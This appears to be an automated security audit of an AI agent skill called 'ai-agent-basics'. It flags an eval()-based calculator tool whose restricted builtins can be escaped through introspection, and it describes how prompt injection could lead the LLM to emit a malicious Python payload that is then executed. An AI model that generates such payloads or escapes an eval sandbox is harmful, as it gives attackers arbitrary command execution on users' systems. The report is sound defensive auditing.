The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): Insecure code execution via eval() in scripts/react_agent.py.
Evidence: File scripts/react_agent.py, Line 84: result = eval(tool_input["expression"], {"__builtins__": {}}, {}).
Risk: Python's eval() is fundamentally difficult to sandbox. Attackers can use introspection techniques (e.g., accessing __class__ attributes of basic types) to retrieve references to the os module or other dangerous built-ins, bypassing the provided restrictions to execute arbitrary system commands.
[REMOTE_CODE_EXECUTION] (HIGH): Indirect RCE through LLM tool calling.
Ingestion Point: User-provided query in scripts/react_agent.py enters the LLM context.
Capability Inventory: The calculator tool allows the LLM to execute Python code via eval().
Risk: An attacker can use prompt injection to trick the LLM into generating a malicious Python payload. Because the LLM's output is directly evaluated, this creates a path for remote code execution.
[EXTERNAL_DOWNLOADS] (LOW): Dependency on external libraries.
Evidence: SKILL.md and scripts/react_agent.py reference langgraph and langchain-anthropic.
Status: These are trusted libraries from known organizations, though not on the explicit whitelist. Usage is standard for the skill's purpose.

ai-agent-basics